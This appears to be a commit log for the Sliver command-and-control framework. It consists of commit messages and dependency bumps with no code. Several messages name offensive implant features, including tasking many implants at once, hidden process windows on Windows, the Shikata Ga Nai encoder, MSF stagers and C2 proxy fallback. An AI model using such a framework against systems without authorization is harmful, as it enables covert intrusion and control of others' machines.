Compare commits

..
Author SHA1 Message Date
moloch-- 9e0f9d2fbb Update implant gvisor 2023-07-01 08:46:40 -07:00
Joe dc228a5d2d Merge branch 'master' into multiplayer/tailscale 2023-07-01 10:20:02 -05:00
moloch-- 6bc6f15fd1 Bug fixes to tsnet 2023-07-01 08:19:09 -07:00
moloch-- cb6c8ce4e7 Integrate tsnet option into job mgmt 2023-07-01 07:59:33 -07:00
moloch-- ddf2344e61 Add multiplayer tailscale option, update gvisor 2023-07-01 07:49:24 -07:00
Joe ced8bdda0c Merge pull request #1319 from BishopFox/fix/make-token
Fix make token test
2023-06-29 09:17:50 -05:00
rkervella 78222cb1bc Fix make token test 2023-06-28 15:26:59 -07:00
Joe 01b370ba44 Merge pull request #1314 from BishopFox/b141dependabot/go_modules/github.com/klauspost/compress-1.16.6
Bump github.com/klauspost/compress from 1.16.5 to 1.16.6
2023-06-26 14:26:15 -05:00
Joe 5b90358328 Merge pull request #1316 from BishopFox/e64fdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.7
Bump github.com/AlecAivazis/survey/v2 from 2.3.6 to 2.3.7
2023-06-26 14:26:02 -05:00
Joe f13b11ff52 Merge branch 'master' into b141dependabot/go_modules/github.com/klauspost/compress-1.16.6 2023-06-26 13:57:25 -05:00
Joe af19c97372 Merge pull request #1311 from ActualTrash/taskmany
Add command to task many implants at once
2023-06-26 13:55:49 -05:00
Joe 4f86172543 Merge branch 'master' into taskmany 2023-06-26 13:55:38 -05:00
dependabot[bot] a5c9f53b8a Bump github.com/AlecAivazis/survey/v2 from 2.3.6 to 2.3.7
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.3.6 to 2.3.7.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.3.6...v2.3.7)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 18:12:14 +00:00
dependabot[bot] 8673552694 Bump github.com/klauspost/compress from 1.16.5 to 1.16.6
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.16.5 to 1.16.6.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.16.5...v1.16.6)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 18:10:56 +00:00
Joe 3a5f4b13a1 Merge pull request #1313 from BishopFox/0530dependabot/go_modules/google.golang.org/grpc-1.56.1
Bump google.golang.org/grpc from 1.56.0 to 1.56.1
2023-06-26 13:05:21 -05:00
Joe f12ba957d4 Merge branch 'master' into taskmany 2023-06-26 12:39:57 -05:00
dependabot[bot] fa4a9cc845 Bump google.golang.org/grpc from 1.56.0 to 1.56.1
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.56.0 to 1.56.1.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.56.0...v1.56.1)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 17:23:45 +00:00
Joe ac66b0726c Merge pull request #1312 from BishopFox/949bdependabot/go_modules/golang.org/x/net-0.11.0
Bump golang.org/x/net from 0.10.0 to 0.11.0
2023-06-26 12:22:00 -05:00
dependabot[bot] c4a35d6850 Bump golang.org/x/net from 0.10.0 to 0.11.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.10.0 to 0.11.0.
- [Commits](https://github.com/golang/net/compare/v0.10.0...v0.11.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-26 04:00:01 +00:00
chase 395e9717b1 Reorganize taskmany code to work with v1.6 cli 2023-06-25 20:06:33 -04:00
chase f89e435e59 Add additional commands to taskmany 2023-06-25 04:06:46 -04:00
chase 1220611e28 Reorganize and gofmt code 2023-06-24 16:35:43 -04:00
chase e452809056 Add filtering capabilities to taskmany 2023-06-24 15:56:34 -04:00
moloch-- b2989e0ea3 Prevent keyex replays 2023-06-20 22:35:27 -07:00
Joe 37e35dc1bd Merge pull request #1304 from BishopFox/48c8dependabot/go_modules/golang.org/x/crypto-0.10.0
Bump golang.org/x/crypto from 0.9.0 to 0.10.0
2023-06-20 16:29:19 -05:00
Joe 77a9113025 Merge branch 'master' into 48c8dependabot/go_modules/golang.org/x/crypto-0.10.0 2023-06-20 16:29:02 -05:00
moloch-- 47705435f9 Reorg actions 2023-06-20 12:01:45 -07:00
moloch-- 233542e059 Re-add ref guards 2023-06-20 12:00:15 -07:00
Joe 42795b077e Merge branch 'master' into 48c8dependabot/go_modules/golang.org/x/crypto-0.10.0 2023-06-20 13:57:57 -05:00
moloch-- e687d12241 Only check release ref on release 2023-06-20 11:57:42 -07:00
moloch-- f414bfb01e Fix peer key encoding 2023-06-20 11:56:47 -07:00
Joe 711c56c0b0 Merge branch 'master' into 48c8dependabot/go_modules/golang.org/x/crypto-0.10.0 2023-06-20 13:42:26 -05:00
Joe 2d1ea6192c Merge pull request from GHSA-8jxm-xp43-qh3q
Fix Sliver KEM
2023-06-20 13:30:11 -05:00
moloch-- 24aa3508b3 Regenerate pb 2023-06-20 11:27:49 -07:00
Joe 02de46647d Merge branch 'master' into advisory-fix-1
Signed-off-by: Joe <[email protected]>
2023-06-20 13:26:54 -05:00
dependabot[bot] 829e83008b Bump golang.org/x/crypto from 0.9.0 to 0.10.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.9.0 to 0.10.0.
- [Commits](https://github.com/golang/crypto/compare/v0.9.0...v0.10.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-20 14:55:50 +00:00
Joe e11f4323a2 Merge pull request #1305 from BishopFox/6f30dependabot/go_modules/github.com/tetratelabs/wazero-1.2.1
Bump github.com/tetratelabs/wazero from 1.2.0 to 1.2.1
2023-06-20 09:54:05 -05:00
Joe 6f7e4401bd Merge pull request #1306 from BishopFox/1efddependabot/go_modules/google.golang.org/grpc-1.56.0
Bump google.golang.org/grpc from 1.55.0 to 1.56.0
2023-06-20 09:53:39 -05:00
Joe 6d32be6d98 Merge pull request #1308 from BishopFox/6e51dependabot/go_modules/golang.org/x/sys-0.9.0
Bump golang.org/x/sys from 0.8.0 to 0.9.0
2023-06-20 09:53:10 -05:00
moloch-- dd98134729 Refactor 2023-06-19 18:23:43 -07:00
moloch-- 4da5deae47 Update vendor/ 2023-06-19 17:54:03 -07:00
moloch-- 1d50db6982 Unit tests pass 2023-06-19 12:28:04 -07:00
moloch-- c718085695 Implemented basic keyex unit tests 2023-06-19 11:19:34 -07:00
dependabot[bot] 466abd1bea Bump golang.org/x/sys from 0.8.0 to 0.9.0
Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.8.0 to 0.9.0.
- [Commits](https://github.com/golang/sys/compare/v0.8.0...v0.9.0)

---
updated-dependencies:
- dependency-name: golang.org/x/sys
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-19 04:05:25 +00:00
dependabot[bot] 408a13cf43 Bump google.golang.org/grpc from 1.55.0 to 1.56.0
Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.55.0 to 1.56.0.
- [Release notes](https://github.com/grpc/grpc-go/releases)
- [Commits](https://github.com/grpc/grpc-go/compare/v1.55.0...v1.56.0)

---
updated-dependencies:
- dependency-name: google.golang.org/grpc
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-19 04:04:30 +00:00
dependabot[bot] 548a4c54c4 Bump github.com/tetratelabs/wazero from 1.2.0 to 1.2.1
Bumps [github.com/tetratelabs/wazero](https://github.com/tetratelabs/wazero) from 1.2.0 to 1.2.1.
- [Release notes](https://github.com/tetratelabs/wazero/releases)
- [Commits](https://github.com/tetratelabs/wazero/compare/v1.2.0...v1.2.1)

---
updated-dependencies:
- dependency-name: github.com/tetratelabs/wazero
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-19 04:04:12 +00:00
moloch-- 959c3f1909 Peer verification keyex 2023-06-18 17:58:41 -07:00
moloch-- 8f561abfc8 Implemented implant-side encrypt/decrypt 2023-06-18 16:40:28 -07:00
moloch-- 9ab27d1746 initial refactor, broken tests 2023-06-18 16:17:05 -07:00
chase a32d077e16 Add cd and remove duplicate rm from taskmany 2023-06-17 21:11:50 -04:00
Joe 6647abe3d5 Merge pull request #1303 from BishopFox/audit/log
Add additional details to audit log
2023-06-16 18:06:01 -05:00
moloch-- 73f155f6c0 Add additional details to audit log 2023-06-16 13:55:19 -07:00
Joe 57e2111299 Merge pull request #1295 from BishopFox/http-c2-fallback
Fallback to Direct Connection when HTTP Proxy Connection Fails
2023-06-16 15:24:41 -05:00
Joe ea4d517a90 Merge pull request #1302 from BishopFox/fix/implant-exit-1.6
Fix implant exit code.
2023-06-16 13:59:05 -05:00
rkervella b7c8cba630 Fix implant exit code. 2023-06-16 09:14:04 -07:00
Joe f882f52d44 Merge pull request #1301 from BishopFox/windows-hidden-exec
Hidden windows for Executed Processes on Windows
2023-06-16 11:02:03 -05:00
Raf 4b67745c56 Adding the option to spawn processes in Windows with a hidden window 2023-06-16 10:05:38 -04:00
Joe 853537d1f4 Merge pull request #1299 from BishopFox/profile-info
"profiles info" subcommand and saving poll timeout in profile
2023-06-15 09:38:40 -05:00
Raf f6a2021213 Adding profiles info command for detailed info on a profile, saving poll timeout in profile 2023-06-15 09:57:06 -04:00
Joe 4841e46c34 Merge pull request #1298 from BishopFox/save-sgn-pref-in-profile
Storing Shikata Ga Nai (SGN) preference with implant profile
2023-06-14 14:25:16 -05:00
Raf 888d4479a3 Storing Shikata Ga Nai (SGN) preference with implant profile 2023-06-14 12:18:23 -04:00
Joe fd7585e628 Merge pull request #1293 from BishopFox/88cedependabot/go_modules/github.com/ncruces/go-sqlite3-0.7.2
Bump github.com/ncruces/go-sqlite3 from 0.7.0 to 0.7.2
2023-06-13 11:13:31 -05:00
Joe 43969f7c11 Merge pull request #1292 from BishopFox/b526dependabot/go_modules/gorm.io/driver/sqlite-1.5.2
Bump gorm.io/driver/sqlite from 1.5.1 to 1.5.2
2023-06-13 09:48:36 -05:00
Joe d79fe0c4d1 Merge pull request #1291 from BishopFox/370ddependabot/go_modules/modernc.org/sqlite-1.23.1
Bump modernc.org/sqlite from 1.22.1 to 1.23.1
2023-06-13 09:48:16 -05:00
Raf f606639db5 Adding an advanced HTTP C2 option to fallback to direct connection when proxy fails 2023-06-12 08:36:00 -04:00
dependabot[bot] 934e45ce38 Bump github.com/ncruces/go-sqlite3 from 0.7.0 to 0.7.2
Bumps [github.com/ncruces/go-sqlite3](https://github.com/ncruces/go-sqlite3) from 0.7.0 to 0.7.2.
- [Release notes](https://github.com/ncruces/go-sqlite3/releases)
- [Commits](https://github.com/ncruces/go-sqlite3/compare/v0.7.0...v0.7.2)

---
updated-dependencies:
- dependency-name: github.com/ncruces/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-12 04:03:46 +00:00
dependabot[bot] ab8da44be4 Bump gorm.io/driver/sqlite from 1.5.1 to 1.5.2
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.5.1 to 1.5.2.
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.5.1...v1.5.2)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-12 04:02:47 +00:00
dependabot[bot] eb3db89e9f Bump modernc.org/sqlite from 1.22.1 to 1.23.1
Bumps [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) from 1.22.1 to 1.23.1.
- [Commits](https://gitlab.com/cznic/sqlite/compare/v1.22.1...v1.23.1)

---
updated-dependencies:
- dependency-name: modernc.org/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-12 04:01:58 +00:00
moloch-- ea0f4e41b7 Remove uneeded vars 2023-06-11 15:31:12 -07:00
Joe 6dadd929e8 Merge pull request #1283 from BishopFox/wasm/beacon
Add wasm output in beacon mode
2023-06-07 10:46:02 -05:00
moloch-- 05aad0aa8b Add wasm output in beacon mode 2023-06-07 07:17:21 -07:00
Joe ae21b45147 Merge pull request #1281 from BishopFox/msf-stager-advanced-options
MSF Stager Advanced Options
2023-06-05 13:00:55 -05:00
Raf a07b775d90 Staging MSF stager advanced options against master with the new CLI 2023-06-05 13:11:45 -04:00
Joe ce4a2178f6 Merge pull request #1277 from BishopFox/d75adependabot/go_modules/github.com/ncruces/go-sqlite3-0.7.0
Bump github.com/ncruces/go-sqlite3 from 0.5.3 to 0.7.0
2023-06-05 08:32:52 -05:00
Joe acc8b2b013 Merge pull request #1279 from BishopFox/771bdependabot/go_modules/github.com/glebarez/sqlite-1.8.0
Bump github.com/glebarez/sqlite from 1.7.0 to 1.8.0
2023-06-05 08:32:34 -05:00
Joe 2c527f9486 Merge pull request #1276 from BishopFox/c73edependabot/go_modules/github.com/klauspost/compress-1.16.5
Bump github.com/klauspost/compress from 1.15.12 to 1.16.5
2023-06-05 08:32:02 -05:00
Joe 69e58fee1f Merge pull request #1278 from BishopFox/9279dependabot/go_modules/github.com/sirupsen/logrus-1.9.3
Bump github.com/sirupsen/logrus from 1.9.2 to 1.9.3
2023-06-05 08:31:16 -05:00
dependabot[bot] ee22840f94 Bump github.com/klauspost/compress from 1.15.12 to 1.16.5
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.15.12 to 1.16.5.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.15.12...v1.16.5)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-05 05:17:17 +00:00
Joe 59b4c12adc Merge pull request #1275 from BishopFox/5c4cdependabot/go_modules/github.com/mattn/go-sqlite3-1.14.17
Bump github.com/mattn/go-sqlite3 from 1.14.16 to 1.14.17
2023-06-05 00:10:22 -05:00
dependabot[bot] edebf734eb Bump github.com/glebarez/sqlite from 1.7.0 to 1.8.0
Bumps [github.com/glebarez/sqlite](https://github.com/glebarez/sqlite) from 1.7.0 to 1.8.0.
- [Release notes](https://github.com/glebarez/sqlite/releases)
- [Commits](https://github.com/glebarez/sqlite/compare/v1.7.0...v1.8.0)

---
updated-dependencies:
- dependency-name: github.com/glebarez/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-05 04:03:29 +00:00
dependabot[bot] 3497b7ebe5 Bump github.com/sirupsen/logrus from 1.9.2 to 1.9.3
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.9.2 to 1.9.3.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.9.2...v1.9.3)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-05 04:03:00 +00:00
dependabot[bot] fc1f0f04c8 Bump github.com/ncruces/go-sqlite3 from 0.5.3 to 0.7.0
Bumps [github.com/ncruces/go-sqlite3](https://github.com/ncruces/go-sqlite3) from 0.5.3 to 0.7.0.
- [Release notes](https://github.com/ncruces/go-sqlite3/releases)
- [Commits](https://github.com/ncruces/go-sqlite3/compare/v0.5.3...v0.7.0)

---
updated-dependencies:
- dependency-name: github.com/ncruces/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-05 04:02:52 +00:00
dependabot[bot] f42a8d1918 Bump github.com/mattn/go-sqlite3 from 1.14.16 to 1.14.17
Bumps [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) from 1.14.16 to 1.14.17.
- [Release notes](https://github.com/mattn/go-sqlite3/releases)
- [Commits](https://github.com/mattn/go-sqlite3/compare/v1.14.16...v1.14.17)

---
updated-dependencies:
- dependency-name: github.com/mattn/go-sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-06-05 04:02:29 +00:00
Joe 9892306307 Merge pull request #1273 from kernelpanic-bf/master
Fixing new line issue for shell commands with windows sliver client
2023-06-04 22:17:49 -05:00
Joe b5f8fa4131 Merge pull request #1274 from maxlandon/record
Add console session asciicast recorder
2023-06-04 22:17:20 -05:00
maxlandon 5f8470a696 Update dependencies. Asciicast works fine. 2023-06-05 03:08:53 +02:00
maxlandon 12bcf32686 Update console/readline 2023-06-05 02:34:01 +02:00
maxlandon 31a7063bc0 Update asciicast dependencies 2023-06-04 23:56:46 +02:00
maxlandon fba629ea07 Merge last commit with new asciicast recorder 2023-06-04 23:51:46 +02:00
kernelpanic-bf 200a62a97f Fixing new line issue for shell commands with windows sliver client 2023-06-04 23:30:15 +02:00
maxlandon 49fbe7d451 Merge branch 'master' into record 2023-06-04 23:18:24 +02:00
maxlandon c49fc509db Add back carriage returns, for asciicast compatibility 2023-06-04 23:11:11 +02:00
Joe 659629675b Merge pull request #1272 from BishopFox/v1.6.0/logrotate
Rotate and compress server-side console logs
2023-06-04 15:44:04 -05:00
maxlandon 678bc2f5ae Merge branch 'master' into record 2023-06-04 22:31:24 +02:00
Joe cad6398d2b Merge pull request #1271 from BishopFox/v1.6.0/rpclogger
V1.6.0/rpclogger
2023-06-04 15:01:17 -05:00
moloch-- 151b86e337 Rotate and compress server-side console logs 2023-06-04 13:00:52 -07:00
maxlandon 18f3b31c77 Asciicast recorder try 2023-06-04 20:36:05 +02:00
Joe ff0a6db000 Merge pull request #1269 from maxlandon/record
Experimental console logging with golang.org/x/exp/slog
2023-06-04 13:16:35 -05:00
moloch-- eb9cc277fa Improved error logging 2023-06-04 11:03:19 -07:00
moloch-- 9b3acb2e6a Random suffix is file already exists 2023-06-04 10:59:10 -07:00
moloch-- 2eaa3961cd Rename rpc file 2023-06-04 10:53:08 -07:00
moloch-- 5e6a97469c Update path and fs permissions 2023-06-04 10:51:50 -07:00
moloch-- 8bd3c6c9b8 Implement multi-streamed client logs 2023-06-04 10:49:18 -07:00
maxlandon 73b1501645 Merge branch 'record' of ssh://github.com/maxlandon/sliver into record 2023-06-04 19:35:21 +02:00
maxlandon 7f550ca538 Use multiwriter for log output 2023-06-04 19:34:55 +02:00
moloch-- 184b073ad2 Fix make targets 2023-06-04 10:15:23 -07:00
moloch-- 2307e8761e Merge branch 'master' into record 2023-06-04 10:12:27 -07:00
Joe c5315d2ec0 Merge pull request #1266 from BishopFox/v1.6.0/validate-advanced-c2
Adding validation for advanced C2 options
2023-06-04 12:02:08 -05:00
maxlandon f7dfbed6b4 Experimental console logging with golang/x/exp/slog:
What is logged:
- Each command line entered and actually executed is logged at debug
  level, and with the key "type":"command" set.
- Each message/string given to one of the `con.App.Print*()` functions
  is both printed to os.Stdout and written to the console log file with
  corresponding log level.
  Events are logged the same with key "type":"event" set.
2023-06-04 19:01:59 +02:00
moloch-- 23d85f983a Update autorelease action for all os/arch 2023-06-04 09:37:12 -07:00
moloch-- 8ababef4c0 Merge branch 'master' into v1.6.0/validate-advanced-c2 2023-06-04 09:12:49 -07:00
moloch-- cc8581d9e1 Add mingw for unit tests 2023-06-04 09:11:53 -07:00
Joe e4e9f1cfe9 Merge pull request #1264 from maxlandon/server-admin
Add back server admin commands
2023-06-04 11:09:40 -05:00
moloch-- 65f23a13d5 Update autorelease action 2023-06-04 09:07:22 -07:00
moloch-- 5463cf7dbd Remove unused steps in workflows 2023-06-04 09:05:01 -07:00
moloch-- bbbdbda50c Merge branch 'v1.6.0/master' 2023-06-04 09:01:26 -07:00
moloch-- 94a9f422b3 Update build check workflow 2023-06-04 09:00:21 -07:00
moloch-- 40c3e06578 Cleanup 2023-06-04 08:53:54 -07:00
moloch-- 31533e1917 Updated garble 2023-06-04 08:33:55 -07:00
Joe 641b736e39 Merge pull request #1267 from BishopFox/v1.6.0/https-encrypted-cert-error
Client Side Error for Invalid / Unsupported TLS Certs for HTTPS listener
2023-06-04 10:24:43 -05:00
Raf a3e965b5a7 Adding a message on the client side if the provided HTTPS cert / key cannot be loaded 2023-06-04 05:44:26 -04:00
Raf 414730bc32 Adding validation for advanced C2 options 2023-06-04 04:58:40 -04:00
maxlandon 3adc92bfd9 Add back server admin commands 2023-06-04 05:09:22 +02:00
moloch-- cd9740996a Add freebsd client to Makefile 2023-06-03 16:13:14 -07:00
moloch-- b5fc7949c9 Update implant wazero 2023-06-03 15:35:52 -07:00
moloch-- 6a5e4786a0 Update wazero and vendor/ 2023-06-03 15:28:59 -07:00
moloch-- b377ea8257 Update wazero and vendor/ 2023-06-03 15:28:52 -07:00
moloch-- 71b4f23cde Ext code cleanup 2023-06-03 14:50:24 -07:00
moloch-- 7199331b99 Cursed code cleanup 2023-06-03 14:47:10 -07:00
Joe 2f77917425 Merge pull request #1261 from maxlandon/CLI
New CLI system
2023-06-03 11:01:03 -05:00
maxlandon 6355cc5d67 Merge branch 'CLI' of ssh://github.com/maxlandon/sliver into CLI 2023-06-03 17:13:02 +02:00
maxlandon 09d0e9664b Correctly reapply command filters when directly switching from a sliver
to another.
2023-06-03 17:11:47 +02:00
moloch-- e7e76d430d Implement exitCmd 2023-06-03 08:07:00 -07:00
moloch-- d91a2febcf Implement exitCmd 2023-06-03 08:06:58 -07:00
maxlandon 678a945647 Update console/readline dependencies with a fix 2023-06-03 16:51:27 +02:00
moloch-- 7a653f8d74 Fix unit test 2023-06-03 06:47:17 -07:00
maxlandon 049ec78422 Commit new client console. 2023-06-03 03:59:24 +02:00
Joe f1c18e0fc7 Merge pull request #1258 from BishopFox/c2/serversign
C2/serversign
2023-06-01 17:45:08 -05:00
moloch-- a34d878e69 Light code cleanup 2023-06-01 14:55:24 -07:00
moloch-- 3a8d649321 Add server sigs to messages 2023-06-01 14:35:31 -07:00
moloch-- 2c23ccf338 Update readme 2023-06-01 11:40:34 -07:00
moloch-- 7b912042e8 update readme 2023-06-01 11:30:24 -07:00
moloch-- b85cd4f5d3 Merge master 2023-06-01 11:25:11 -07:00
Ronan Kervella cd2e7791af Merge pull request #1257 from BishopFox/msf_stager_custom_luri
Customization of the LURI for MSF Stager Payloads
2023-06-01 09:45:13 -07:00
Joe d2588ca835 Merge pull request #1255 from BishopFox/fix/autorelease
Update autorelease action
2023-06-01 11:25:45 -05:00
Raf ef5b204ecb Adding customization of the LURI through the HTTP C2 server options for HTTP(S) MSF stager payloads 2023-06-01 12:00:57 -04:00
moloch-- 1be433e927 Update autorelease action 2023-06-01 06:37:40 -07:00
Joe 9f73a7ad03 Merge pull request #1251 from BishopFox/more_jobs_info
More information from the jobs command about stage listeners
2023-05-31 17:11:12 -05:00
moloch-- e455e46ffe Add server rpc for console logs 2023-05-30 16:21:41 -07:00
moloch-- 59b4ebc4c7 Add server rpc for console logs 2023-05-30 16:21:25 -07:00
Joe 8e7f907353 Merge pull request #1246 from BishopFox/d77edependabot/go_modules/gorm.io/driver/mysql-1.5.1
Bump gorm.io/driver/mysql from 1.5.0 to 1.5.1
2023-05-30 09:14:20 -05:00
moloch-- 3eca9e3dd3 Added console logs to settings cmd 2023-05-29 21:18:15 -04:00
dependabot[bot] 642838cbc4 Bump gorm.io/driver/mysql from 1.5.0 to 1.5.1
Bumps [gorm.io/driver/mysql](https://github.com/go-gorm/mysql) from 1.5.0 to 1.5.1.
- [Commits](https://github.com/go-gorm/mysql/compare/v1.5.0...v1.5.1)

---
updated-dependencies:
- dependency-name: gorm.io/driver/mysql
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-30 00:53:31 +00:00
Joe e030b7cdd0 Merge pull request #1247 from BishopFox/2c59dependabot/go_modules/gorm.io/driver/postgres-1.5.2
Bump gorm.io/driver/postgres from 1.5.0 to 1.5.2
2023-05-29 19:52:08 -05:00
moloch-- da7a0a33b9 Remove ioutil 2023-05-29 20:22:34 -04:00
dependabot[bot] b9da25e80d Bump gorm.io/driver/postgres from 1.5.0 to 1.5.2
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.5.0 to 1.5.2.
- [Commits](https://github.com/go-gorm/postgres/compare/v1.5.0...v1.5.2)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-30 00:17:07 +00:00
Joe 4a7351a2da Merge pull request #1245 from BishopFox/8960dependabot/go_modules/github.com/sirupsen/logrus-1.9.2
Bump github.com/sirupsen/logrus from 1.9.0 to 1.9.2
2023-05-29 19:15:49 -05:00
Joe 261645cc88 Merge pull request #1249 from BishopFox/fbe2dependabot/go_modules/gorm.io/driver/sqlite-1.5.1
Bump gorm.io/driver/sqlite from 1.5.0 to 1.5.1
2023-05-29 19:14:54 -05:00
moloch-- 639c092ff6 Min go version 1.20 2023-05-29 20:09:44 -04:00
moloch-- b8075a1d83 Implement client console logging 2023-05-29 20:09:10 -04:00
Raf 9db0b29e1a Compiling protobuf with a newer version of protoc 2023-05-23 14:16:07 -04:00
Raf f027b161eb Addressing #713 - Adding more info to jobs command output 2023-05-23 13:41:12 -04:00
dependabot[bot] 729b03d515 Bump gorm.io/driver/sqlite from 1.5.0 to 1.5.1
Bumps [gorm.io/driver/sqlite](https://github.com/go-gorm/sqlite) from 1.5.0 to 1.5.1.
- [Commits](https://github.com/go-gorm/sqlite/compare/v1.5.0...v1.5.1)

---
updated-dependencies:
- dependency-name: gorm.io/driver/sqlite
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-22 04:03:16 +00:00
dependabot[bot] 92c087cd2f Bump github.com/sirupsen/logrus from 1.9.0 to 1.9.2
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.9.0 to 1.9.2.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.9.0...v1.9.2)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-22 04:01:55 +00:00
Joe 87c14df0e2 Merge pull request #1243 from xl4sh/fix/tasks-fetch
Fix msg type errors in tasks fetch command
2023-05-19 10:19:41 -05:00
xl4sh 9488a5f9d8 Fix msg type errors in tasks fetch command 2023-05-19 13:03:29 +09:00
Ronan Kervella 43ca23bab1 Merge pull request #1238 from rwincey/mem_files
Added memory file feature
2023-05-18 10:11:08 -07:00
Joe 062f176a36 Merge pull request #1242 from BishopFox/fix/1241
Check for nil session when using `session -k`
2023-05-18 09:12:16 -05:00
rkervella 1aefbcb9ee Check nil session 2023-05-17 19:06:39 -07:00
Joe dc5220c87e Merge pull request #1234 from BishopFox/33bedependabot/go_modules/gorm.io/gorm-1.25.1
Bump gorm.io/gorm from 1.25.0 to 1.25.1
2023-05-17 20:59:32 -05:00
Joe 6ef4ea3e74 Merge pull request #1239 from BishopFox/fix/1236
Verbose error when msfvenom fails in `generate starger`
2023-05-17 20:58:36 -05:00
rkervella 2378804681 Ensure msfvenom is in PATH and more verbose error in client 2023-05-17 10:39:57 -07:00
b0yd 9ff31e9724 Added memory file feature 2023-05-17 12:37:30 -04:00
moloch-- 007b5673f9 Merge branch 'master' into v1.6.0/master 2023-05-16 08:29:54 -07:00
moloch-- a396867aa5 Add size limits to nacl funcs 2023-05-16 08:19:17 -07:00
Joe af46878f85 Merge pull request #1232 from BishopFox/5421dependabot/go_modules/golang.org/x/crypto-0.9.0
Bump golang.org/x/crypto from 0.8.0 to 0.9.0
2023-05-15 15:06:06 -05:00
Joe 47f10d0301 Merge pull request #1235 from BishopFox/dns-specification
Adding support for specifying DNS resolvers through advanced options
2023-05-15 15:04:40 -05:00
Raf 52daa1ac66 Adding support for specifying DNS resolvers through advanced options 2023-05-15 14:50:44 -04:00
dependabot[bot] 6e175377a6 Bump gorm.io/gorm from 1.25.0 to 1.25.1
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.25.0 to 1.25.1.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.25.0...v1.25.1)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-05-15 04:01:43 +00:00
